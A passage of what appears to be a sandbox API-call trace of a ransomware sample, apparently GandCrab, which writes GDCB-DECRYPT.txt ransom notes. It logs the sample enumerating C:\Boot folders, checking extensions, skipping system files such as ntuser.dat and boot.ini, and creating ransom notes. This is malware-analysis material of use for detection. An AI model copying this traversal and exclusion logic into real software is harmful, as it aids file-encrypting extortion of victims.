(lpString="C:\\Boot\\pt-BR\\GDCB-DECRYPT.txt") returned 30 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.530] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.530] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.531] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.531] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.531] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.531] lstrcatW (in: lpString1="C:\\Boot\\pt-BR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned="C:\\Boot\\pt-BR\\memtest.exe.mui" [0169.531] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.532] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0169.532] lstrlenW (lpString="C:\\Boot\\pt-BR\\memtest.exe.mui") returned 29 [0169.532] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.532] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.532] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.532] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.532] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0169.532] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0169.532] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0169.532] lstrcatW (in: lpString1="C:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0169.532] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.532] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.532] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0169.532] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0169.532] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4dd8 [0169.532] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.532] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.533] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.533] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.533] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.533] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.533] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.533] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0169.533] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0169.533] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.533] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.533] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.533] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.533] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt" [0169.533] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0169.533] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.533] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.533] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.533] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.533] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0169.533] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0169.533] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.533] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.533] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.533] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.533] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt") returned 31 [0169.533] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\pt-pt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.533] GetLastError () returned 0x50 [0169.533] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.533] lstrlenW (lpString="C:\\Boot\\pt-PT\\") returned 14 [0169.533] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="C:\\Boot\\pt-PT\\*") returned="C:\\Boot\\pt-PT\\*" [0169.534] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.534] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.534] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.534] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.534] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.534] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.534] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.534] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.534] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0169.534] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.534] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0169.534] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0169.534] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.534] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.534] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.534] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt" [0169.534] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.534] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0169.534] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0169.534] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0169.534] lstrlenW (lpString="C:\\Boot\\pt-PT\\GDCB-DECRYPT.txt") returned 30 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.534] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.535] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.535] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.535] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.535] lstrcatW (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned="C:\\Boot\\pt-PT\\memtest.exe.mui" [0169.535] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.535] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0169.535] lstrlenW (lpString="C:\\Boot\\pt-PT\\memtest.exe.mui") returned 29 [0169.535] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.535] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.535] lstrcmpW (lpString1="qps-ploc", lpString2=".") returned 1 [0169.535] lstrcmpW (lpString1="qps-ploc", lpString2="..") returned 1 [0169.535] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="qps-ploc" | out: lpString1="C:\\Boot\\qps-ploc") returned="C:\\Boot\\qps-ploc" [0169.535] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc", lpString2="\\" | out: lpString1="C:\\Boot\\qps-ploc\\") returned="C:\\Boot\\qps-ploc\\" [0169.535] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.535] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.536] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0169.536] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0169.536] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4c58 [0169.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.536] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.536] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.536] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.536] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.536] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0169.536] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0169.536] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.536] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.536] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.536] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.536] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt" [0169.536] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0169.536] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.536] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.537] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.537] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.537] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0169.537] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0169.537] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.537] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.537] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.537] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.537] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt") returned 34 [0169.537] CreateFileW (lpFileName="C:\\Boot\\qps-ploc\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\qps-ploc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.539] GetLastError () returned 0x50 [0169.539] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.540] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0169.540] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0169.540] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.540] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.540] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.540] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.540] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.540] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.540] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.540] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0169.540] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.540] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0169.540] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0169.540] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.540] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.540] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.541] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.541] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt" [0169.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.541] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0169.541] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0169.541] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0169.541] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.541] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.541] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.541] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.541] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.541] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0169.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.541] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0169.541] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0169.541] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.541] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.541] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.542] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.542] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0169.542] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0169.542] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0169.542] lstrcatW (in: lpString1="C:\\Boot\\Resources", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\") returned="C:\\Boot\\Resources\\" [0169.542] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.542] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.542] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.542] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0169.542] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0169.542] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a5058 [0169.542] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.542] FindNextFileW (in: hFindFile=0x5a5058, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.543] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.543] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.543] FindNextFileW (in: hFindFile=0x5a5058, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.543] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0169.543] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0169.543] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0169.543] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0169.543] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0169.543] FindNextFileW (in: hFindFile=0x5a5058, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.543] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0169.543] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0169.543] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0169.543] lstrlenW (lpString="C:\\Boot\\Resources\\en-US") returned 23 [0169.543] FindNextFileW (in: hFindFile=0x5a5058, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.543] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.543] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.543] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\GDCB-DECRYPT.txt" [0169.543] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0169.543] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.543] FindNextFileW (in: hFindFile=0x5a5058, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.543] FindClose (in: hFindFile=0x5a5058 | out: hFindFile=0x5a5058) returned 1 [0169.543] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.543] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt") returned 35 [0169.543] CreateFileW (lpFileName="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.543] GetLastError () returned 0x50 [0169.543] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.543] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0169.543] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0169.543] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4fd8 [0169.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.544] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: 